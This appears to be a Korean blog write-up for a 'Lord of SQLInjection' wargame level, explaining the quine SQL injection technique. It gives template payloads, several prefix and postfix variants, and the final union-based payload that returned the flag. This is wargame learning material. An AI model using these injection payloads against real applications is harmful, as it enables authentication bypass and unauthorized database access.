문제 화면입니다.
참인 조건을 넣어줬을 때 아무 일도 일어나지 않습니다.
아마 테이블의 pw컬럼은 비어 있는 것 같습니다.
도저히 모르겠어서 라이트업을 보니
Quine이라는 친구를 사용한다고 합니다.
Quine(콰인)은 메타 프로그램의 일종으로
입력 없이 자기 자신의 소스 코드를 출력하는 프로그램이라고 합니다.
아래는 레퍼런스에서 가져온 페이로드입니다.
[prefix]와 [profix]에는 원하는 값을 넣어도 된다고 합니다.
# 싱글쿼트가 필요한 경우
select replace(replace('[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]',char(34),char(39)),char(36),'[prefix] select replace(replace("$",char(34),char(39)),char(36),"$") [postfix]') [postfix];
# 더블쿼트가 필요한 경우
select replace(replace("[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]",char(39),char(34)),char(36),"[prefix] select replace(replace('$',char(39),char(34)),char(36),'$') [postfix]") [postfix];
prefix : a' union / postfix : -- -
a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as quine-- -') as quine;
prefix : 0 union / postfix : #
0 union select replace(replace('0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#',char(34),char(39)),char(36),'0 union select replace(replace("$",char(34),char(39)),char(36),"$") as quine#') as quine#;
prefix : a" union / postfix : #
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') #",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') #") #
prefix : a" union / postfix : -- -
a" union select replace(replace("a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -",char(39),char(34)),char(36),"a' union select replace(replace('$',char(39),char(34)),char(36),'$') -- -") -- -
최종 페이로드는 아래와 같습니다.
'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
플래그가 나왔습니다.
레퍼런스
https://aidencom.tistory.com/325
https://aidencom.tistory.com/324
https://blog.p6.is/quine-sql-injection/
'write-up(web) > LOS' 카테고리의 다른 글
[Lord of SQLInjection] alien write-up (0) | 2022.11.04 |
---|---|
[Lord of SQLInjection] zombie write-up (0) | 2022.10.05 |
[Lord of SQLInjection] phantom write-up (0) | 2022.09.21 |
[Lord of SQLInjection] frankenstein write-up (0) | 2022.09.19 |
[Lord of SQLInjection] blue_dragon write-up (0) | 2022.09.17 |